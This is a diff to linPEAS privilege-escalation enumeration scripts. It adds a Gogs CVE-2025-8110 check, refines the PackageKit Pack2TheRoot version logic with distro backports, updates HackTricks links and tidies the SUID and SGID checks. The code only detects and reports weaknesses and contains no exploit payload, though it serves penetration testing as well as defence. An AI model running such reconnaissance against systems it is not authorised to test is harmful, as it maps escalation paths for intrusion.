Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Gogs.sh @@ -0,0 +1,166 @@ +# Title: Software Information - Gogs privileged file writes +# ID: SI_Gogs +# Author: HT Bot +# Last Update: 22-09-2026 +# Description: Detect Gogs, highlight root-running instances and CVE-2025-8110, and report privilege-relevant paths from known configuration files +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $MACPEAS, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $gogs_bin, $gogs_bin_dir, $gogs_cmd, $gogs_config, $gogs_config_arg, $gogs_config_candidates, $gogs_config_line, $gogs_config_summary, $gogs_cwd, $gogs_major, $gogs_minor, $gogs_patch, $gogs_pid, $gogs_processes, $gogs_root_process, $gogs_seen_configs, $gogs_version, $gogs_version_output +# Fat linpeas: 0 +# Small linpeas: 1 + +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$MACPEAS" ]; then + # Keep the process format stable: user, PID, command name, full command line. + gogs_processes="$(ps -eo user=,pid=,comm=,args= 2>/dev/null | awk ' + $3 == "gogs" { + for (i = 4; i <= NF; i++) { + if ($i == "web") { + print + break + } + } + } + ')" + + gogs_pid="$(printf "%s\n" "$gogs_processes" | awk 'NR == 1 { print $2 }')" + gogs_cmd="$(printf "%s\n" "$gogs_processes" | awk 'NR == 1 { for (i = 4; i <= NF; i++) printf "%s%s", (i == 4 ? "" : " "), $i; print "" }')" + gogs_bin="" + if [ "$gogs_pid" ] && [ -e "/proc/$gogs_pid/exe" ]; then + gogs_bin="$(readlink "/proc/$gogs_pid/exe" 2>/dev/null)" + fi + if ! [ -x "$gogs_bin" ] && [ "$gogs_cmd" ]; then + gogs_bin="$(printf "%s\n" "$gogs_cmd" | awk '{ print $1 }')" + fi + if ! [ -x "$gogs_bin" ]; then + gogs_bin="$(command -v gogs 2>/dev/null || echo -n '')" + fi + + if [ "$gogs_processes" ] || [ "$gogs_bin" ] || [ -r /etc/gogs/conf/app.ini ] || [ -r /etc/gogs/app.ini ] || [ "$DEBUG" ]; then + print_2title "Gogs privileged file-write checks" "T1068" + print_info "Gogs <= 0.13.3 is vulnerable to authenticated symlink-based file writes through the PutContents API (CVE-2025-8110): https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp" + + gogs_root_process="$(printf "%s\n" "$gogs_processes" | awk '$1 == "root" { print "yes"; exit }')" + if [ "$gogs_processes" ]; then + echo "Gogs web processes:" + printf "%s\n" "$gogs_processes" | while read -r gogs_config_line; do + case "$gogs_config_line" in + root*) echo "$gogs_config_line" | sed -${E} "s,.*,${SED_RED_YELLOW}," ;; + *) echo "$gogs_config_line" ;; + esac + done + else + echo "Gogs web process not found" + fi + + gogs_version_output="" + gogs_version="" + if [ -x "$gogs_bin" ]; then + gogs_version_output="$("$gogs_bin" --version 2>/dev/null | head -n 1)" + gogs_version="$(printf "%s\n" "$gogs_version_output" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -n 1)" + echo "Gogs executable: $gogs_bin" + [ "$gogs_version_output" ] && echo "Gogs version: $gogs_version_output" + fi + + if [ "$gogs_version" ]; then + gogs_major="$(printf "%s" "$gogs_version" | cut -d. -f1)" + gogs_minor="$(printf "%s" "$gogs_version" | cut -d. -f2)" + gogs_patch="$(printf "%s" "$gogs_version" | cut -d. -f3)" + if [ "$gogs_major" -eq 0 ] 2>/dev/null && { [ "$gogs_minor" -lt 13 ] 2>/dev/null || { [ "$gogs_minor" -eq 13 ] 2>/dev/null && [ "$gogs_patch" -le 3 ] 2>/dev/null; }; }; then + if [ "$gogs_root_process" ]; then + echo "Gogs $gogs_version is vulnerable to CVE-2025-8110 and is running as root; an authenticated repository writer may obtain root code execution" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "Gogs $gogs_version is vulnerable to CVE-2025-8110; successful exploitation executes as the Gogs service user" | sed -${E} "s,.*,${SED_YELLOW}," + fi + else + echo "Gogs $gogs_version is not in the CVE-2025-8110 vulnerable range (<= 0.13.3)" | sed -${E} "s,.*,${SED_GREEN}," + fi + elif [ "$gogs_root_process" ]; then + echo "Gogs is running as root, but its version could not be determined; verify that it is newer than 0.13.3" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + + # Gogs accepts --config/-c. Add only bounded standard locations derived from + # the active process; do not recursively search the filesystem or repositories. + gogs_config_arg="$(printf "%s\n" "$gogs_cmd" | awk ' + { + for (i = 1; i <= NF; i++) { + if (($i == "--config" || $i == "-c") && i < NF) { + print $(i + 1) + exit + } + if ($i ~ /^--config=/) { + sub(/^--config=/, "", $i) + print $i + exit + } + } + } + ')" + gogs_bin_dir="" + [ "$gogs_bin" ] && gogs_bin_dir="$(dirname "$gogs_bin" 2>/dev/null)" + gogs_cwd="" + if [ "$gogs_pid" ] && [ -e "/proc/$gogs_pid/cwd" ]; then + gogs_cwd="$(readlink "/proc/$gogs_pid/cwd" 2>/dev/null)" + fi + gogs_config_candidates="$gogs_config_arg +$gogs_bin_dir/custom/conf/app.ini +$gogs_cwd/custom/conf/app.ini +/etc/gogs/conf/app.ini +/etc/gogs/app.ini +/var/lib/gogs/custom/conf/app.ini +/home/git/gogs/custom/conf/app.ini +/opt/gogs/custom/conf/app.ini" + + gogs_seen_configs="|" + printf "%s\n" "$gogs_config_candidates" | while read -r gogs_config; do + [ "$gogs_config" ] || continue + case "$gogs_seen_configs" in + *"|$gogs_config|"*) continue ;; + esac + gogs_seen_configs="${gogs_seen_configs}${gogs_config}|" + [ -r "$gogs_config" ] || continue + + echo "Privilege-relevant Gogs configuration: $gogs_config" + gogs_config_summary="$(awk ' + /^[[:space:]]*[#;]/ || /^[[:space:]]*$/ { next } + /^[[:space:]]*\[/ { + section = tolower($0) + gsub(/[[:space:]\[\]]/, "", section) + next + } + index($0, "=") { + key = substr($0, 1, index($0, "=") - 1) + value = substr($0, index($0, "=") + 1) + gsub(/^[[:space:]]+|[[:space:]]+$/, "", key) + gsub(/^[[:space:]]+|[[:space:]]+$/, "", value) + key = toupper(key) + if ((section == "" && (key == "RUN_USER" || key == "APP_DATA_PATH")) || + (section == "repository" && (key == "ROOT" || key == "ROOT_PATH")) || + (section == "server" && (key == "HTTP_ADDR" || key == "HTTP_PORT" || key == "EXTERNAL_URL" || key == "ROOT_URL")) || + ((section == "auth" || section == "service") && key == "DISABLE_REGISTRATION") || + (section == "attachment" && key == "PATH") || + (section == "repository.upload" && key == "TEMP_PATH")) { + printf "[%s] %s = %s\n", section, key, value + } + } + ' "$gogs_config" 2>/dev/null)" + if [ "$gogs_config_summary" ]; then + printf "%s\n" "$gogs_config_summary" | while read -r gogs_config_line; do + case "$gogs_config_line" in + *"RUN_USER = root"*|*"ROOT = /root"*|*"ROOT_PATH = /root"*) + echo "$gogs_config_line" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + *"DISABLE_REGISTRATION = false"*) + echo "$gogs_config_line" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + *) echo "$gogs_config_line" ;; + esac + done + fi + done + echo "" + fi +fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh index 7da4f3a9..eb728084 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh @@ -19,7 +19,7 @@ klist_exists="$(command -v klist || echo -n '')" kinit_exists="$(command -v kinit || echo -n '')" if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then print_2title "Searching kerberos conf files and tickets" "T1558.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-active-directory.html#linux-active-directory" + print_info "https://book.hacktricks.wiki/en/linux-hardening/user-information/linux-active-directory.html#linux-active-directory" if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/PackageKit_Pack2TheRoot.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/PackageKit_Pack2TheRoot.sh index 8e3bfce1..99c39e82 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/PackageKit_Pack2TheRoot.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/PackageKit_Pack2TheRoot.sh @@ -1,10 +1,11 @@ # Title: Software Information - PackageKit Pack2TheRoot (CVE-2026-41651) # ID: SI_PackageKit_Pack2TheRoot # Author: Samuel Monsempes -# Last Update: 22-04-2026 +# Contributor: Arjay Saguisa +# Last Update: 29-06-2026 # Description: Check for the Pack2TheRoot vulnerability (CVE-2026-41651) in PackageKit: # - Cross-distro local privilege escalation in the PackageKit daemon -# - Affects all PackageKit versions >= 1.0.2 and <= 1.3.4 +# - Affects PackageKit versions >= 1.0.2 and <= 1.3.4 unless a distro fix was backported # - Allows any unprivileged local user to install/remove packages and gain root # - Confirmed on default installs of Ubuntu (18.04 - 26.04), Debian Trixie 13.4, # RockyLinux 10.1, Fedora 43 (Desktop & Server). Cockpit installs may also be affected. @@ -14,42 +15,127 @@ # - IOC: PackageKit daemon crashes with an "emitted_finished" assertion failure # after successful exploitation (visible in journalctl). # License: GNU GPL -# Version: 1.0 +# Version: 1.1 # Mitre: T1068 # Functions Used: print_2title, print_3title, print_info, echo_not_found # Global Variables: # Initial Functions: -# Generated Global Variables: $pk_version, $pk_min_vuln, $pk_max_vuln, $pk_lower, $pk_higher, $pk_ioc_count +# Generated Global Variables: $pk_full, $pk_version, $pk_pkg_manager, $pk_distro_id, $pk_distro_codename, $pk_fixed_version, $pk_fixed_label, $pk_min_vuln, $pk_max_vuln, $pk_lower, $pk_higher, $pk_vulnerable, $pk_ioc_count, $VERSION_CODENAME, $Version # Fat linpeas: 0 # Small linpeas: 1 +pk_dpkg_fixed_version() { + pk_fixed_version="" + pk_fixed_label="" + + [ -r /etc/os-release ] || return + pk_distro_id="" + pk_distro_codename="" + # shellcheck disable=SC1091 + . /etc/os-release + pk_distro_id="${ID:-}" + pk_distro_codename="$(sed -nE 's/^VERSION_CODENAME=\"?([^"]*)\"?$/\1/p' /etc/os-release | head -n1)" + + case "${pk_distro_id}:${pk_distro_codename}" in + debian:bullseye|raspbian:bullseye) + pk_fixed_version="1.2.2-2+deb11u1" + pk_fixed_label="Debian/Raspbian bullseye fixed version" + ;; + debian:bookworm|raspbian:bookworm) + pk_fixed_version="1.2.6-5+deb12u1" + pk_fixed_label="Debian/Raspbian bookworm fixed version" + ;; + debian:trixie|raspbian:trixie) + pk_fixed_version="1.3.1-1+deb13u1" + pk_fixed_label="Debian/Raspbian trixie fixed version" + ;; + ubuntu:xenial) + pk_fixed_version="0.8.17-4ubuntu6~gcc5.4ubuntu1.5+esm1" + pk_fixed_label="Ubuntu 16.04 ESM fixed version" + ;; + ubuntu:bionic) + pk_fixed_version="1.1.9-1ubuntu2.18.04.6+esm1" + pk_fixed_label="Ubuntu 18.04 ESM fixed version" + ;; + ubuntu:focal) + pk_fixed_version="1.1.13-2ubuntu1.1+esm1" + pk_fixed_label="Ubuntu 20.04 ESM fixed version" + ;; + ubuntu:jammy) + pk_fixed_version="1.2.5-2ubuntu3.1" + pk_fixed_label="Ubuntu 22.04 fixed version" + ;; + ubuntu:noble) + pk_fixed_version="1.2.8-2ubuntu1.5" + pk_fixed_label="Ubuntu 24.04 fixed version" + ;; + ubuntu:questing) + pk_fixed_version="1.3.1-1ubuntu1.1" + pk_fixed_label="Ubuntu 25.10 fixed version" + ;; + ubuntu:resolute) + pk_fixed_version="1.3.4-3ubuntu1" + pk_fixed_label="Ubuntu 26.04 fixed version" + ;; + esac +} print_2title "Checking for PackageKit Pack2TheRoot (CVE-2026-41651)" "T1068" print_info "https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html" +pk_full="" pk_version="" -if command -v dpkg >/dev/null 2>&1; then - pk_version="$(dpkg -l 2>/dev/null | grep -iE '^ii\s+packagekit\s' | awk '{print $3}' | sed -E 's/^[0-9]+://; s/[-+~].*$//' | head -n1)" +pk_pkg_manager="" +if command -v dpkg-query >/dev/null 2>&1; then + pk_full="$(dpkg-query -W -f='$''{Version}\n' packagekit 2>/dev/null | head -n1)" + if [ -n "$pk_full" ]; then + pk_pkg_manager="dpkg" + pk_version="$(printf '%s' "$pk_full" | sed -E 's/^[0-9]+://; s/[-+~].*$//')" + fi fi if [ -z "$pk_version" ] && command -v rpm >/dev/null 2>&1; then - pk_version="$(rpm -qa 2>/dev/null | grep -iE '^PackageKit-[0-9]' | head -n1 | sed -E 's/^[Pp]ackage[Kk]it-([0-9.]+)-.*/\1/')" + pk_full="$(rpm -qa 2>/dev/null | grep -iE '^PackageKit-[0-9]' | head -n1)" + if [ -n "$pk_full" ]; then + pk_pkg_manager="rpm" + pk_version="$(printf '%s' "$pk_full" | sed -E 's/^[Pp]ackage[Kk]it-([0-9.]+)-.*/\1/')" + fi fi if [ -z "$pk_version" ]; then echo_not_found "PackageKit" else - echo "PackageKit version detected: $pk_version" + echo "PackageKit version detected: ${pk_full:-$pk_version}" - # Vulnerable range: >= 1.0.2 and <= 1.3.4 - pk_min_vuln="1.0.2" - pk_max_vuln="1.3.4" - pk_lower="$(printf '%s\n%s\n' "$pk_min_vuln" "$pk_version" | sort -V | head -n1)" - pk_higher="$(printf '%s\n%s\n' "$pk_version" "$pk_max_vuln" | sort -V | tail -n1)" + pk_vulnerable="no" - if [ "$pk_lower" = "$pk_min_vuln" ] && [ "$pk_higher" = "$pk_max_vuln" ]; then - echo "Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit $pk_version is in the vulnerable range >=1.0.2 <=1.3.4" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$pk_pkg_manager" = "dpkg" ] && command -v dpkg >/dev/null 2>&1; then + pk_dpkg_fixed_version + if [ -n "$pk_fixed_version" ]; then + if dpkg --compare-versions "$pk_full" ge "$pk_fixed_version"; then + echo "PackageKit $pk_full is at or above the ${pk_fixed_label}: $pk_fixed_version" | sed -${E} "s,.*,${SED_GREEN}," + else + echo "Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit $pk_full is below the ${pk_fixed_label}: $pk_fixed_version" | sed -${E} "s,.*,${SED_RED_YELLOW}," + pk_vulnerable="yes" + fi + fi + fi + + if [ -z "$pk_fixed_version" ]; then + # Generic upstream range: >= 1.0.2 and <= 1.3.4. Distro backports are handled above. + pk_min_vuln="1.0.2" + pk_max_vuln="1.3.4" + pk_lower="$(printf '%s\n%s\n' "$pk_min_vuln" "$pk_version" | sort -V | head -n1)" + pk_higher="$(printf '%s\n%s\n' "$pk_version" "$pk_max_vuln" | sort -V | tail -n1)" + + if [ "$pk_lower" = "$pk_min_vuln" ] && [ "$pk_higher" = "$pk_max_vuln" ]; then + echo "Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit $pk_version is in the upstream vulnerable range >=1.0.2 <=1.3.4" | sed -${E} "s,.*,${SED_RED_YELLOW}," + pk_vulnerable="yes" + else + echo "PackageKit $pk_version is not in the upstream vulnerable range for CVE-2026-41651" | sed -${E} "s,.*,${SED_GREEN}," + fi + fi - # Daemon reachability check (loaded via systemd or activatable via D-Bus) + if [ "$pk_vulnerable" = "yes" ]; then echo "" print_3title "PackageKit daemon reachability" if command -v systemctl >/dev/null 2>&1 && systemctl status packagekit >/dev/null 2>&1; then @@ -60,7 +146,6 @@ else echo "PackageKit daemon does not appear to be reachable from this session" | sed -${E} "s,.*,${SED_GREEN}," fi - # Indicator of compromise: emitted_finished assertion failures echo "" print_3title "IOC: emitted_finished assertion failures" if command -v journalctl >/dev/null 2>&1; then @@ -73,8 +158,6 @@ else else echo "journalctl not available - cannot check IOC" fi - else - echo "PackageKit $pk_version is not in the vulnerable range for CVE-2026-41651" | sed -${E} "s,.*,${SED_GREEN}," fi fi echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh index 4bd778f1..c42dc9f7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh @@ -16,7 +16,7 @@ if [ "$DEBUG" ] || { [ "$TIMEOUT" ] && [ "$(command -v psql 2>/dev/null || echo -n '')" ]; }; then print_2title "PostgreSQL event trigger ownership & postgres_fdw hooks" "T1505.001" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#postgresql-event-triggers" + print_info "https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html#event-trigger-privilege-escalation-during-postgres_fdw-extension-installs" psql_bin="$(command -v psql 2>/dev/null || echo -n '')" if [ "$TIMEOUT" ] && [ "$psql_bin" ]; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh index 05b689fa..373d2418 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh @@ -18,7 +18,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then runc=$(command -v runc || echo -n '') if [ "$runc" ] || [ "$DEBUG" ]; then print_2title "Checking if runc is available" "T1613,T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#runc--privilege-escalation" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/runc-privilege-escalation.html" if [ "$runc" ]; then echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh index 4076531e..5f5debe4 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh @@ -16,7 +16,7 @@ if (command -v screen >/dev/null 2>&1 || [ -d "/run/screen" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching screen sessions" "T1563" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#open-shell-sessions" screensess=$(screen -ls 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh index acfab2b8..36fa8255 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh @@ -19,7 +19,7 @@ tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching tmux sessions"$N - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#open-shell-sessions" tmux -V printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh index 1147ab2d..9b504735 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh @@ -16,7 +16,7 @@ if ! [ "$IAMROOT" ]; then print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 200)" "T1574.009,T1574.010" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-files" #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "/dev/*" ! -path "/snap/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) printf "%s\n" "$obmowbe" | while read l; do diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh index 03580688..347e8c5b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh @@ -16,7 +16,7 @@ if ! [ "$IAMROOT" ]; then print_2title "Interesting GROUP writable files (not in Home) (max 200)" "T1574.009,T1574.010" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-files" for g in $(groups); do iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) if [ "$iwfbg" ] || [ "$DEBUG" ]; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh index fdb8e968..87c94736 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh @@ -15,7 +15,7 @@ if ! [ "$IAMROOT" ]; then print_2title "Writable root-owned executables I can modify (max 200)" "T1574.009,T1574.010" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-files" writable_root_execs=$( find "$ROOT_FOLDER" -type f -user root -perm -u=x \ diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh index af062425..e2cf598b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh @@ -1,21 +1,21 @@ # Title: Interesting Permissions Files - SUID # ID: IP_SUID -# Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: SUID - Check easy privesc, exploits and write perms +# Author: Carlos Polop, HT Bot +# Last Update: 30-09-2026 +# Description: SUID - Check easy privesc, exploits, write perms, and risky file placement # License: GNU GPL -# Version: 1.0 +# Version: 1.2 # Mitre: T1548.001 -# Functions Used: echo_not_found, print_2title, print_info +# Functions Used: check_privileged_file_location, echo_not_found, print_2title, print_info # Global Variables: $IAMROOT, $LDD, $ROOT_FOLDER, $READELF, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders, $cfuncs # Initial Functions: -# Generated Global Variables: $suids_files, $sname, $sline_first, $sline, $OLD_LD_LIBRARY_PATH, $LD_LIBRARY_PATH +# Generated Global Variables: $suids_files, $sfile, $sname, $sowner, $sline_first, $sline, $OLD_LD_LIBRARY_PATH, $LD_LIBRARY_PATH # Fat linpeas: 0 # Small linpeas: 1 print_2title "SUID - Check easy privesc, exploits and write perms" "T1548.001" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" +print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/suid-sgid-and-acl-triage.html#enumerate-privileged-executables" if ! [ "$STRINGS" ]; then echo_not_found "strings" fi @@ -23,13 +23,15 @@ if ! [ "$STRACE" ]; then echo_not_found "strace" fi suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) -printf "%s\n" "$suids_files" | while read s; do - [ -z "$s" ] && continue - s=$(ls -lahtr "$s") +printf "%s\n" "$suids_files" | while IFS= read -r sfile; do + [ -z "$sfile" ] && continue + s=$(ls -lahtr "$sfile") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total"; then break; fi - sname="$(echo $s | awk '{print $9}')" + # Keep the path returned by find: parsing it from ls output breaks on whitespace. + sname="$sfile" + sowner="$(echo "$s" | awk '{print $3}')" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then @@ -99,5 +101,8 @@ printf "%s\n" "$suids_files" | while read s; do fi fi fi + + # Reuse this enumeration for the shared privileged-file placement checks. + check_privileged_file_location "SUID" "$sname" "$sowner" done; echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh index 5aee73b1..865bf6ac 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh @@ -1,29 +1,31 @@ # Title: Interesting Permissions Files - SGID # ID: IP_SGID -# Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: SGID +# Author: Carlos Polop, HT Bot +# Last Update: 30-09-2026 +# Description: SGID - Check easy privesc, write perms, and risky file placement # License: GNU GPL -# Version: 1.0 +# Version: 1.2 # Mitre: T1548.001 -# Functions Used: print_2title, print_info +# Functions Used: check_privileged_file_location, print_2title, print_info # Global Variables: $cfuncs, $IAMROOT, $LDD, $READELF, $ROOT_FOLDER, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, 